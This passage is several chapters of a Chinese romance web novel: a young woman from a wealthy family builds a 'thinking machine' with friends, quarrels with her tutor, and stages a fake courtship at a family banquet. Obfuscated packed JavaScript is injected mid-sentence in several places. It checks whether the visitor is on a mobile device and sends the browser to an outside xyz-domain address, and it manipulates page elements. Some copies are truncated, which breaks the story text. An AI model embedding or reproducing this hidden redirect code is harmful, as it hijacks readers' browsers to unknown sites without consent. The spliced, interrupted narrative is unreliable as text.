“那当然。”老板把锅铲往锅边一靠,转身去后头拿碗去了。 陈蔚青看了看四周,糖水铺里坐着几个衣着寒酸的工人模样的人,角落里还有个抱着婴儿的女人,正一勺一勺往孩子嘴里喂着热汤。 她觉得自己整个人像被泡进了一个温热却陌生的世界里,有点茫然。 “喂。”身边突然有人戳了她一下。 罗简趁她分神,把一只手悄悄伸到她面前,摊开掌心——是那只玻璃吊坠。 陈蔚青一怔,抬头:“你……” “我说过,它会跟你走的。”罗简笑着说,语气轻飘飘的,“你刚刚的眼神跟小孩子看到糖果一样。” “可我……真的没想让你买下来。” “你是没说出口,但我知道你想。”她把挂坠放到她手心,蔚青慌慌张张地把挂坠塞回她手里。罗简嘟起嘴,把挂坠塞进哥哥的手里:“哥,你给她带上。” 罗炽南看了看那只玻璃吊坠,又抬眼看了陈蔚青一眼。他没说话,只是伸手轻巧地解开了吊坠面上的小扣子,然后手腕一转,从她肩头绕到脖子后面——像是玩戏法一样,几下动作干净利落,便把那枚吊坠轻轻地系在了她颈间。 陈蔚青下意识往后缩了一下:“你这是……?” “混街头的时候学的小把戏。”罗炽南笑了一下,声音含着点不以为意的得意,“本来是用来把别人的项链摘下来的。带上去还是第一次。” 陈蔚青怔了怔,抬手摸了摸脖子上的吊坠,指尖碰到那颗冷冷的玻璃球。 她嘴唇动了动,像是想再说些什么,最终却只是低低地说了一句:“谢谢。” 灯光落在她的鬓发和玻璃坠子上,像是某种柔软的回应。 “别谢我。”罗简歪了歪头,“你欠我一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502441|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖水。” 他们正说着,老板端了三碗糖水过来,一碗椰汁西米露、一碗姜汁撞奶、还有一碗海带绿豆沙。碗边冒着热气,铺子里灯光昏黄,仿佛连呼吸都慢了下来。 “说起来啊……”罗简舀了一口糖水,咬着勺柄,眯着眼盯着蔚青,“你们做那个机器,真的是为了‘保存一个人的思考方式’?” 陈蔚青没有说话,只是轻轻地“嗯”了一声,随便应付了一句,又像怕回答得太认真会暴露什么。 “那为什么是你妈妈,而不是你自己?”罗简靠在椅背上,声音懒洋洋的,却像猫爪在桌面慢慢抓着。 蔚青的手停了一下:“可能是因为,她一个永远不会出错的人。” 她低声说:“她做事审时度势、她做决定雷厉风行,连沉默都像是预谋好的,她……只是,她说的话最后总是对的。” “你崇拜她?” “不是。”蔚青坚定地摇了摇头。 “我不明白,那你想知道她的想法,直接去问她不就好了?” 蔚青轻笑了一向,她抬起头,盯着罗简,眼神却像要穿透她,看着到她的灵魂。她半天才开口:“可是——她从来不真正看我。她看我的时候,只是在检查我哪里还不像她。” “你爱她吗?” 陈蔚青愣住了,似乎没想到会有人这样问,她的手一抖,勺子碰到碗边,发出“砰”的一声。 “那当然。”她语气听起来那样轻松,“身体发肤,受之父母。怎么会不呢?” “我怎么觉得你恨她。” “阿简!”罗炽南打断了这场对话,“别瞎说了。” 蔚青张了张嘴,没有说话。她的舌头像被什么咬住了,而眼神仍旧落在那碗糖水上——糖水泛着光,像一片平静无风的湖,而她正一点一点地往里扔火,直到把湖烧干。 “我觉得——”罗简放下勺子,“你想借它,跟一个不愿意再和你说话的人说话。” 三人沉默了,罗简也没再说话,只是看着糖水里的倒影轻轻搅动。陈蔚青低下头,用勺子搅着碗里的海带绿豆沙,孤零零的海带就在绿豆里翻滚着。 空气忽然沉静下来,只有店里风扇慢慢转动的咯吱声。 “你们仨,今天真热闹。”老板从柜台后探出头笑着说,“这个美女也是眼生,是南仔和简妹的朋友?要不写个名儿?以后来我就认得你啦。” “算啦。”罗炽南摆了摆手,“她哪能随便留名。” 门口的风铃突然一响。 一个人影从夜色中晃晃悠悠地走进来,穿着旧马褂,脸上挂着似笑非笑的表情。他一眼扫过几人,眼神在陈蔚青身上稍作停顿,又迅速移开。 “南哥。”他低声唤了一句,声音沙哑,“你要的东西,我找来了。” 罗炽南放下勺子,起身朝他走过去。那人从怀里摸出一个裹着粗布的包裹,递给他的时候还东张西望了一圈。 “都在这儿了,”他低声说,“英国产的打字机,轴心完整,还有两根传动杆;电报机是老款,但能通电。我把零件都拆了,免得被人盯上。” “麻烦你了。”罗炽南接过包裹。 “喂,小心点。”那人往后退了一步,似乎还有点忌讳地看了陈蔚青一眼,“这是陈家小姐啊,我在她家打……” “没事,她胆子比我大。”罗炽南笑了一下,拎着包裹走回桌边。 “搞定了?”罗简撑着下巴问。 “走吧。”他拍了拍桌面,“吃完就回去。” 他们三个把糖水喝干净,把碗一口气放回了柜台。老板“啧”了一声:“年纪轻轻挺能吃。” “好吃不行吗。”罗简冲他做了个鬼脸,转身推门离开。 外头的街道还亮着一排排晃动的灯光,像水上的浮萤。他们在街头小巷里一言不发地穿行了一会儿,直到陈宅的高墙出现在视野里。 “你怎么上去?”罗简挑眉问她。 “我再跳一次。”蔚青笑了笑。 “这次小心点。”罗炽南把布包放在地上,两只手一撑,就蹲下去给她当了人梯。 陈蔚青踩着他的掌心,一跃而上,翻过墙头,稳稳地落在阳台边。 “到了。”她朝他们挥了挥手。 “晚安,大小姐。”罗简半开玩笑地敬了个礼。 “晚安。”她轻轻说完,转身钻进窗子。 屋里还是那个熟悉的房间,枕头歪着,书本摊开着,窗外的风带着一点糖水铺残留的甜味飘进来。 她脱下外衣,走到梳妆台前,把脖子上的吊坠轻轻摘下来。 玻璃球在灯光下折射出一层淡淡的彩光,像极了黑市里的那些艰难发光的小灯。 她把吊坠放进首饰盒,又不放心地拿出来放在枕边。 夜很静,风从窗缝吹过,带着一点霉味和远处黑市的余响。 陈蔚青躺下,闭上眼。 她今晚,睡得出奇地好。 8. 误解 阳光从雕花窗格里斜斜地落进来,洒在书房的胡桃木地板上。墙角的座钟滴答作响,时间好似被晾在空气里一样缓慢。 陈蔚青坐在窗边,桌上的书本摊着,笔却握在手里半晌没动。 她前晚刚从夜市“归来”,悄悄爬回了窗。已经过了一天了,脚底还带着一点跳落时的酸痛,心却仍然悬着——就像她偷偷带回来的那一枚玻璃吊坠一样,晃悠悠、冷冰冰地悬再空中。她知道今天要上课,梁悯初的课,但她的心就是静不下来,仿佛还停留在纵身一跃的那一刻。 门吱呀一声被推开了。 她条件反射地站起来。 梁悯初走进来,穿着深灰色立领中式长衫,衣摆一尘不染。他的目光在她脸上停了几秒,看不出任何情绪,没有笑。 梁悯冲她初点了点头,把手里的讲义放在桌上,像往常一样拉开椅子坐下。 “我们接着之前的部分,”他说,语气温和得一如既往,“康德的判断式在《判断力批判》中主要被分为两类:决定性判断和反思性判断。你还记得区别吗?” 陈蔚青“嗯”了一声,强撑着精神去翻讲义,却总觉得脑子像被玻璃糖浆裹着,黏黏的、晕晕的。 他仍在继续讲:“……所以我们说,反思性判断是一种从局部出发,寻求普遍性的努力。这跟归纳逻辑不同,它更多是一种美学意义上的直觉与协调。” 她盯着桌面,忽然觉得那个词“协调”,像是一滴水落进了她心底的某处。 她不是没试图协调过——跟母亲,跟沈时砚,跟罗炽南、罗简……也许最难协调的是自己:那个被安排好的她,和那个从窗台跳下来的她。 讲义的字一个个跳出来,但她眼前却浮现起很多年前的一个午后。 那时她不过十岁。父亲托人请了“香港来的老师”,说是念过洋学堂的,很会教逻辑。她本来不在意,可是那个年轻的梁老师在第一堂课上,说了一句她至今难忘的话:“如果你理解不了一个概念,就把它拆成一段段的、你会写进日记的话。” 那天她真的在日记里写了:“这个老师跟以前的不一样。” 现在回想起来,她想的不止这个。后来她在日记里越写越多,但她从没对任何人说。 “蔚青?”梁悯初的声音打断了她的回忆。 她回过神来,手指还搭在那一页讲义上,却一字也没听进去。 “你刚刚在想什么?” 她下意识低头,过了几秒才开口:“……在想那个机器。” 梁悯初挑了挑眉。 “你是说,那个你之前说的‘能留下思维的机器’?” 她轻轻“嗯”了一声。 他靠在椅背上,指尖在桌上轻轻敲了两下:“那种东西,理论上是可行的。数理逻辑上,我们可以把每一个判断映射为一个布尔值,也就是‘是’或‘否’。如果把判断结构系统化,形成组合——就可以构建一个函数。” “……函数?”她轻声重复。 “对,一个输入为判断,输出为建议或行动的逻辑函数。”他顿了顿,看着她的眼睛,“但重点不是构建函数,而是……你要先定义‘这个人是怎么想的’。” 她忽然一震,有种被看穿的感觉。 “你在跟谁一起做?”他忽然问。 “啊?”她迟疑了一下。 她先是想起老师在沈时砚递上那封信时笑眯眯地说“投我以木桃,报之以琼瑶”的样子,沈时砚的名字就这样卡在喉咙里,罗炽南更是断断说不得的——她顿了顿,轻轻说:“是……是朋友们。” 梁悯初的目光却没有从她脸上挪开。 “罗炽南吗?” 陈蔚青抬头,愣住了,木木地张嘴:“你……你怎么知道?你怎么认识这个人?” 梁悯初深吸一口气,像是在叹息,又像是在调整心态:“你知道他是谁吗?” “是……纺织厂的维修工…?” “是广南路黑市的小霸王。”梁悯初的眉头拧在了一起,“——偷工厂的零件,收来路不明的货,从有钱人家顺来的闲置物,高价倒卖给外地旅客和不懂行情的阔少,嘴上说是‘物尽其用’,一口一个‘限量舶来’,把别人的漏洞当成自己的生意经。” “我……我不知道……” “你当然不知道。”梁悯初的声音提高了,声音里的愤怒难以掩盖,“你知道你就不会去和他在黑市私会,你以为你在跟他演罗密欧与朱丽叶,实际上他这种人只会看中你的这身衣服,耳朵上珍珠的耳饰,和价值不菲的珠花,还有你陈家小姐的名号。” 他凑近了,陈蔚青几乎能闻到他身上熏的香的味道,他用两根手指挑起她脖子上的玻璃珠挂坠:“就是这个是吧,他给你带上的,定情信物?卖糖水的老板都跟我说了……” 陈蔚青被他的话噎住,脖子上那颗玻璃珠在光下一晃,仿佛也热得发烫。 ——那是罗简送她的!才不是什么定情信物!她怔怔地看着他,不知是因为羞耻、惊讶还是——愤怒。 为什么总是要误会我,陈蔚青又想起他调笑她和沈时砚的时候。她的委屈化成泪水积在眼眶里,她瞪着眼,强撑着不让泪水落下。 “你知不知道那种地方很危险,你不该去。”他依旧语气平稳,却不再温柔,“我教了你那么多年,不是让你去那种地方然后名誉尽毁的。” “我不是……”陈蔚青的声音颤抖了,“我不是…我只是,不想一辈子在原地。我想看看这个世界。” 空气在两人之间凝固了。 玻璃吊坠轻轻晃着,梁悯初像是心软了,他的语气放缓了一些:“算了,没事,知道就好,跟那小子断绝来往吧,这个吊坠也还回去。” 他说得轻描淡写,好像一切都能轻易归位,好像她的一切——可以还,也该还。 陈蔚青猛地抬起头,眼眶里盈着泪,但眼神是锋利的,眼泪随着她开口一点点地滑下来:“你凭什么说这些话?” 梁悯初怔住,没想到她会突然这样。 “你以为你是谁?”她声音发紧,像是硬生生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈蔚青望着他,嘴唇轻颤:“那你……喜欢我吗?” 梁悯初没有立刻回答。他垂下眼,像是要把所有话都吞回肚子里去,半晌才缓缓开口,声音带上了从未有过的疏离:“那当然是不行的,陈小姐。” 这句话像是一道刀口,被风吹过,没流血,却疼得令人无法呼吸。 他往后退了一步,像是从某条不可言说的边界线上撤了回来。 “你已经不是那个小女孩了。”他抬头看她,神情平静得像是一场无声的诀别,“恐怕…我不能再当你的老师了。” 话音落地的那一瞬间,他转身离开,脚步不急不缓,却像是踩在某种不愿破碎的宁静之上。 门轻轻关上的声音在屋里回荡了一下。 陈蔚青站在原地,她不能去追,一切都太越界了。阳光照在她的脸上,眼泪落下来,没有声音。 吊坠还挂在她脖子上,微凉的,像一个从未真正燃烧过的秘密。 9. 演戏 梁悯初离开的那天之后,书房里再也没有新的人。陈蔚青每天就跟着准备一年后去法国勤工俭学的黎婉芝学法文,还学一点社会学和哲学什么的。父母似乎不知道发生了什么,只以为梁悯初只是有急事回香港了。 她没说出口,只是坐在书桌前,听着那个名字慢慢淡出家里人的茶余饭后。后来也没有人追问,也没有人向他道别。 每天下午她都说要和婉芝温习法文,实则穿过后院,进了锅炉房。那里依旧是三人临时搭起的“工坊”,地上是拉线的铜丝,桌上是摊开的电路草图,墙边挂着一块已经打孔的卡纸,像一张冒险的地图。 她手边摊着几张写得密密麻麻的问题单,她已经把“你觉得你是否有能力做这件事?”、“你是否愿意为这件事放弃一切?”决定好了,她看着下面的那个问题—— “你要做的这件事,会被你的家人所接受吗?” 她一笔一画地把这句话写在格子里,又盯着那一格答案框,迟迟未动。 如果那晚我没去,如果我没有从窗台跳下……他是不是还在?她一遍遍地想,如果这个问题的回答是否,干脆——无论是什么情况,都让机器说不要去做好了。 她忽然觉得呼吸有些凝滞。 “你写得也太狠了点。”一旁传来罗炽南的声音。 她抬起头,看到他正靠着窗,手里拎着一小截金属管,像是从废机壳里拆出来的什么部件。他把它翻来覆去地看着,头也不抬地说,“这问题要是问我,我还真答不上来。” 她蹙起眉:“你不知道?” “我不知道我家人是谁。”他说得随意,像在谈今晚吃什么。 空气像被一把钝刀切开,沈时砚原本低头画电路的手,也不自觉停了一下。 “抱歉……”陈蔚青低声说,“但你不还有妹妹吗?” “妹妹…”罗炽南顿了顿,然后咧开嘴笑了,“嗯,那倒也是。” 沈时砚放下了铅笔,抬起头看她一眼,那眼神比平时柔软一些。他像是斟酌着什么,才说:“别太紧张了,这些东西本质也就是螺丝和数字而已。” 蔚青转头看向他,有点吃惊,也有点不解。 “如果是你呢?如果你遇上了家人不想让你去做的事,你回去做吗?”她问。 沈时砚没有立刻回答。他望着桌上那张电路草图,看了几秒,才慢慢地说:“家人从来没有支持我做任何事。” 蔚青怔了一下,嘴角轻轻地动了动,没说出话来。 这时,罗炽南把金属管往桌上一丢,声音砰地响了一声。 “我晚上要出去一趟。”他说。 “去哪?”蔚青问。 “有人要出一批库存,我去看看。”他转身走了几步,又像想起什么似的回头:“你这题啊,你要真做了,得想清楚你到底想听谁的。” 蔚青怔怔看着那张纸,片刻后点了点头。 -- 两天后的陈家饭厅,女仆轻手轻脚地把一纸请柬放在陈母面前,是一场西式的酒会。 “是万隆洋行那边的几位客人,还有几位驻南州的外商。”她一边擦着银器一边随口说道,“你父亲说这次场子要办得体面些,尤其是你——也到了可以见见人家的年纪。” “……什么叫见见人家?”陈蔚青有些头疼。 “就是见见。他们洋人都带个男伴女伴的,你也带个男伴好,我看沈公子就合适,自从上次他给你写信,你们聊的怎么样了?”母亲没抬头,似乎并不是真的想听到答案,“你不是整天和婉芝混在一起学什么法文哲学的吗,这种场合正好交流交流。你不愿意穿旗袍就穿礼服,但别总穿得像个学生。” 陈蔚青没接话。她拿起请柬,看到了一个名字。 她不知道他会不会来——但那纸请柬上确实写了“梁悯初先生”四个字。 -- 沈家的老宅位于南州东城一隅,沿着西式园林改造的老洋楼,门口仍是中式影壁与红漆大门。陈蔚青站在门前,心口跳得微快,手指在衣摆上轻轻一收一放。 她说自己是来拜访沈公子的,女仆应了一声进去通传,没过多久,一个少年缓缓走了出来。 他大约十七岁,穿着妥帖的灰蓝色学生装,眉眼与沈时砚略有几分相像,但神情却更冷静,从阶梯上走下来时,整个人像一把藏在鞘里的剑。 “我哥在后院修东西。”他说,语气不冷不热,“请进吧。” 蔚青一怔:“你是……?” “沈时墨。”他微微颔首,算作自我介绍。 她走进厅里,他侧身让她先行,然后不紧不慢跟上。 厅中陈设考究,家具一尘不染,窗沿还摆着几盆西洋紫罗兰。蔚青刚要说话,沈时墨已经坐下,自己倒了杯茶,淡淡开口:“抱歉,家父外出了,母亲……也不在。” “沈夫人?”蔚青轻声问。 “她早些年回了南京娘家。”少年语气平平,“偶尔来信,也不过是寄些照片和信纸。” 蔚青心头一震,却不露声色,只道:“你母亲还好吧?” “挺好。”他望了她一眼,语气未变。 “夫人几时回去的呢?”她又问。 “不知道。”沈时墨的语气终于出现了一丝罕有的波动,“反正我打小就没怎么见过她。” “听说你准备去上海?” “对,我的大姐在上海。”他微微仰起头,“我准备去上海读书,然后回来继承……”他马上打住了,好像突然反应过来自己说多了。 空气一时沉默下来。 蔚青捧着茶盏,指尖微凉。她没料到第一次见面的弟弟竟这样早熟寡言。 她转了个角度试探:“最近你们沈家……好像在香料生意上动作很多?” 沈时墨没答,只是喝了口茶。 她看他不接话,只能换种说法:“我听父亲提过一点,说沈家好像也在南洋拿了些货路子。” 沈时墨放下茶杯,语气依旧稳:“做生意,总要找出路。” 她顿了顿:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502443|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们家也一直在做香料。” 他抬眼看她一眼,那眼神像是在判断什么人可信不可信。 “所以,”他说,“你今天来,是来问这些的?” “不,我——”蔚青急忙摆手,眼神略慌,“我是来找你哥哥的。” “原来如此。”沈时墨站起身,“我去叫他。” 走出几步,他忽然回头,看似无意地说了一句:“沈家和陈家,是该好好谈谈了。可惜你们拿不了主意。” -- 客厅的门帘微微一动,是风,随即是一阵脚步声。 “怎么不进去坐?”沈时砚的声音从廊后传来,他边擦着手边走进来,眼神带着几分讶异,“蔚青?” 陈蔚青站起身,面上带着温和的笑:“打扰了。是我贸然登门。” 沈时墨平静地说:“她说是找你,好了,你们聊,我就不打扰了。”说完他就转身离开了。 等沈时墨的脚步声远了,沈时砚才看向陈蔚青,问:“怎么突然来了?” 她低头,看着自己手里的茶盏,语气温和却带着一丝不自然的平静:“……想和你说件事。” 他没有打断她,只是微微点头:“你说。” “下周我们家办宴会。”她抬起头望他,像是早已想好每一个词句,“是请洋行那边的几位客人,父亲母亲都在,我……想邀请你也来。” 沈时砚怔了一下,像是没料到她会主动提出这个请求。 “正式宴会?”他问。 “嗯。”陈蔚青点头,“西式的。可以带一个男伴。” “你不是最讨厌这种场合吗?” 她眼睫微垂,唇角抿了抿:“是。但这次不太一样。” 他沉默了几秒,看不出情绪,只是轻声问:“所以你来,是特地为这个?” “是。” “还有什么要求吗?” “我需要你…装作我的恋人。” 他像是被吓到了,没有立刻回答,只是眼神微动,仿佛在试图看穿她背后那层没说出口的理由。片刻后,他轻轻点了点头:“好啊。” “……你愿意来?” “你请我,我就来。”他说得很平静,像在陈述一个原则,“帮你一个忙,就像你帮我一样。” 她忽然不知道自己是什么表情,又该摆出什么表情。 沈时砚看着她,忽然补了一句:“不过我得问一句——为什么非得演恋人不可?” 她一时无语,找不出理由。 “我说真的。”他笑了笑,语气温和,却带着点调侃,“我可不想被那些老顽固指指点点,说什么‘尽学了那套放荡的风气’什么的。” 她抿了抿唇,最后道:“我想让一个人…知道我过的很好,让他回来。” 他没再追问,只是轻轻“哦”了一声。 “那我可要演得好一点。”他慢慢说,“别让你……说的那个人,看出来你是演的。” 陈蔚青没有回答,只是低下头,轻轻点了点头。 10. 罗曼蒂克 夜幕低垂,陈宅主楼的檐角挂起了串灯,亮黄的光一颗颗串成线,在风里微微晃着。长廊里仆人来来往往,女仆穿着整洁的制服匆匆布置着宴会厅——雪白的桌布,金边瓷盘,一套套银质餐具被擦得锃亮,连地毯边角都仔细掸了灰。像是一座古老的剧院,正在为一出精心设计的戏剧揭幕。 楼上的房间里,陈蔚青坐在镜前,身上穿着一袭浅灰蓝的洋装,法式剪裁,肩部线条利落,腰线向上微收,裙摆垂到脚踝,略显瘦削的手腕上戴着一只珍珠细链。长发挽起,只留下几缕鬓发垂落在耳侧,像从旧报纸的版面上走下来。她母亲亲自为她挑的,说这种色调沉稳不艳,不至于抢客人的风头。她低头看着自己手腕上缠着的一圈银链,忽然觉得像一圈透明的枷锁。 门被轻轻叩响。 “小姐。”女仆在门外低声道,“那位沈公子到了。” 她反应了一下——大概是因为还没入戏,然后起身:“我下去。” 沈时砚站在陈宅的玄关口,身着一套黑色西装,头发罕见地梳得整齐。他本就不是那种锋芒毕露的类型,这一身打扮,让他整个人看上去比平时要“干净”得多,更像一个贵公子。 他手上拿着一束白色晚香玉——不算贵重,却清冷高洁。仆人看了几眼,低头请他入厅。 陈蔚青从楼上走下来的那一刻,恰好与他四目相对。他朝她递出那束花,像是一场事先排练好的开场动作:“女士,这是今晚的伴手礼。” 她接过,低头嗅了一下:“还以为你会带个发报机零件来。” “要是带那个,你母亲今晚得把我从宴会厅赶出去。”他微笑,“但你不觉得这跟我们这场合作一样吗?——表面是花,里面是机关。” 她没笑,但眼里却亮了一点:“希望我们配合默契。” “今晚我们是恋人嘛。”他微微歪头,“你得提醒我,你喜欢什么样的我。” “……安静、聪明、博学、别乱说话。”她顿了一下,“成熟一点。” 他挑了挑眉,像是觉得这描述不太公平,但还是点了头:“明白。‘假装是你喜欢的样子’。” 说着,他轻轻弯下手臂,伸向她:“陈小姐,我可以请你共赴一场骗局吗?” 她望着他,嘴角缓缓上扬:“愿意。” 他们并肩走入灯火通明的大厅,所有的目光缓缓汇聚过来,仿佛幕布在这一刻悄然拉开。宴会厅的水晶灯亮得比往常更盛。纱帘被拉起,客人们一一步入,空气中弥漫着香槟与鲜花的混合香气。 “哎呀,这不是陈小姐吗?”一个穿着湖蓝色礼服的贵妇笑着迎上来,身边还牵着一个年约十七八的少女,“果然如传闻中一样出落得好。旁边这位是?” “朋友。”陈蔚青笑着回答,“沈时砚。”她语气自然,眼神没有一丝破绽。 “原来是沈家的公子?”贵妇转向他,眼神里带着细细打量,“上次在上海还听说您在欧洲求学,不知可有定居意向?” “暂时打算回国做点实事。”沈时砚稳稳回道,举止沉静得体。 贵妇没再追问,只是说了句“年轻有为”,二人就开始你一言我一语的讨论什么“新思想”、“自由恋爱”。 一个年轻的留洋子弟和一个穿着燕尾服的老先生一同走了过来,拿着酒杯一边跟他们寒暄,年轻人一边瞟着沈时砚,一边说:“我以前在牛津听人提起你。真是聪明人。” 沈时砚微微一笑,没有接话,反而将目光轻轻落在蔚青身上:“我倒觉得,今晚最聪明的,是邀请我来的这位女士。” 气氛微妙地停顿了一下。几个旁观的女眷交换了眼神,仿佛悄悄在脑中勾勒“定情传闻”的雏形。 老先生眯着眼睛呵呵一笑:“看来沈家和陈家也没有那么剑拔弩张嘛。” 陈蔚青浑身一僵,一时不知道该怎么回话,沈时砚撇了眼她,看出了她的尴尬,于是替她接过话:“都是传言,生意是生意,平日里两家人来往也没必要伤了和气。” 然后陈蔚青在一群人点头称是的氛围中露出一个完美的假笑。宴会正酣,几位贵客已经转入了“香料行情”“洋行走向”的话题中,陈蔚青恰好借口“去拿些酒”从人堆中退出来。 陈蔚青刚松了口气,还未来得及走向饮品区,便看见大厅另一端,一抹熟悉的身影正站在落地窗边。 唐敬微面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502444|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着一个戴金边眼镜的中年洋人,正从容地与他以流利的英文交谈。她语速不快,每一个词都精准得体,像是一曲经过训练的女中音,悦耳却不亲切。陈父站在她旁边,头发被发蜡抹得油亮,穿着刚熨过的燕尾服,正附和着笑。 唐敬微说了句什么,外国人爽朗一笑,握了握她的手。她轻巧地做了个不失优雅的告别,便转身朝厅中扫了一眼。 那目光如灯,陈蔚青几乎立刻感受到它的落点。 ——他们看见了她。 不止她,还有她身边的沈时砚。 下一刻,陈母牵着陈父优雅地穿过人群,仿佛是一对正走上舞台的演员,每一步都带着仪式感。 “蔚青。”她的声音温柔却不容忽视,“站在这儿不介绍一下你的朋友吗?” 陈父咳了一声,像是临时补妆的人,“就是那个谁……沈家的少爷?” “沈公子。”陈母微笑着纠正,又转头看向他,“你今晚的打扮,很得体。” “夫人夸奖。”沈时砚微微欠身,“您今晚也非常惊艳。” “油嘴滑舌。”陈父乐了,拍了拍他的背,又看了看女儿,意味深长地说:“不过年轻人嘴甜些也好,省得整天绷着脸。” 母亲眼角轻轻一挑:“你们两个今晚……看起来很登对。” 蔚青下意识地挺直脊背,露出一个克制而妥帖的笑容:“谢谢母亲。” “是你约的?”陈父问得直白。 “是我请他来的。”她不闪躲。 “好。”陈母意味不明地笑了笑,似乎在权衡什么。她没有直接追问什么“缘分”“交往”,而是轻轻转身,“洋行那几位今晚都是中枢人,我和你父亲过去应酬一下。你们两个别乱跑。” 说完,她与陈父再次回到社交阵地,留下沈时砚和陈蔚青站在一片银光交织的厅灯下,像被留下的一对模糊背影。 “她不打算追问?”沈时砚小声问。 “还没。”蔚青淡淡地说,“她总是先留下空间,再收紧。” “那我是不是该紧张点?”他看着她。 “你已经做得很好了。”她移开视线,声音轻得几不可闻。 11. Leung 宾客如织,笑语喧腾,宴会厅里人影晃动,仿佛每个角落都沾满香槟与繁复的寒暄。陈蔚青穿过一个又一个小圈子,面带笑意地与人点头,却始终不在其中停留。 她心里很清楚自己在找谁。 可她几乎快要放弃了。 走到后花园通向露台的长廊时,她甚至已经不抱希望,只是凭着一点本能走出去——然后,她看到了。 露台上灯光不甚明亮,靠近外墙的栏杆旁,站着一个身影。 他穿着一身深色旧西装,剪裁不合时宜,肩线略显松垮,像是多年前量身、近几年没怎么穿过。但他还是梳了头,站得笔直,手里举着一只高脚杯,杯中是未喝尽的红酒,酒面在他手中晃出一个个小旋涡。 他半倚在露台边,脸埋在半影里,像是在独自对话,又像是早已习惯了这种旁观的姿态。 一瞬间,陈蔚青的脚步几乎停下。 她有点不敢靠近。 她不知道他还会不会像从前一样说话平和。也不知道今晚的邀请,对他来说究竟意味着什么——是回应,还是最后的道别。 她低声唤了一句:“……梁先生?” 他闻声回头,眉眼间并没有明显的惊讶,只是淡淡一笑,像平日里上课那样:“蔚青。” 她怔住了,随后轻轻呼了一口气,走上前:“你怎么不进去?” “进去太热了。”他抬了抬手里的酒,“他们的酒也太甜了。全是听不下去的话,闻不惯的香,满耳朵尽是利率、股本、进出口……我怕我会在厅里说出不该说的话。” 他眯起眼睛,把酒杯放在眼前,透过酒杯里的酒看花园对面的灯光:“简直就像香港,看起来光鲜繁华,中国人和英国人、旧日规矩和新潮风气,全揉在一起,你也分不清这里到底是谁的家。” 他放下酒杯,眼神落在远处夜色沉沉的花园上,仿佛那里才是另一个世界的入口。 “那你……为什么还是来了?”她轻声问。 梁悯初没立刻回答。他低头看了一眼酒杯,又抬头望向露台外的夜色。 “可能是回来告别吧。”他说,语气轻得像风吹过月下的树影,“我去过很多地方,但只有在这里的时光……才有一点‘我属于这里’的感觉。” 陈蔚青一怔,没有出声。 “后来我想,也许人老了——”他顿了一下,笑了笑,“人累了的时候,总想回到某个让自己看起来像样一点的地方。” 他侧过脸看她,神情温和:“你现在过得挺像样的。” 陈蔚青低下头:“……你呢?” “我?”他轻轻地一笑,像是对自己说,“或许回香港教书吧,回去那个英国人用中文名,中国人用英文名的地方。他们总叫我回家,我真不知道他们怎么能把那种地方当作‘家’。” 风吹过他肩膀上那件西装,那是一件已经洗得发白的旧物,被他穿得像校服。 “还是教书适合我。规矩,不近人情,最好能把感情藏在一页又一页的讲义纸里。”他说着,把酒杯轻轻地放在了露台的石栏上,像是放下一件早就准备送走的东西。 脚步声从走廊那头传来。 “蔚青,你怎么——”是沈时砚的声音。他看起来是四下找了一圈,手里还拎着她刚刚忘在饮品台边的晚香玉。 他踏上露台的一瞬,看见栏杆旁的那个人影,下意识地挽住了陈蔚青的手腕,像是自动进入“演戏状态”。 “我找了你半天——” 他话还没说完,终于看清了那人的脸,一瞬间像是被定住了。 “……梁先生?” 梁悯初没有立刻说话,他的眼神在两人握着的手腕之间停了一下,随即收回,微微一笑:“沈公子。” 沈时砚像是忘记了怎么把手放开,只站在那里,眼里闪过一丝慌乱。他的肩膀不自觉地绷紧了,声音低下来:“您……也在。” 陈蔚青的呼吸轻得几不可闻,她觉得那一刻露台的夜风都像是被抽空了,只剩三人站在这一片光影边缘,像在一张斑驳的旧相片上,各自站在命运的剪影里。 “我只是出来透透气。”梁悯初淡淡开口,声音依旧温和,“你们挺好,两家人的事情没有影响你们吧?” 陈蔚青那一刻几乎要哭出声来,她说话了,声音里满是苦涩,甚至有些颤抖,她只能祈祷已经微醺了的老师没能听出来,但张口还是调侃的笑话:“罗密欧与朱丽叶嘛,老师。” 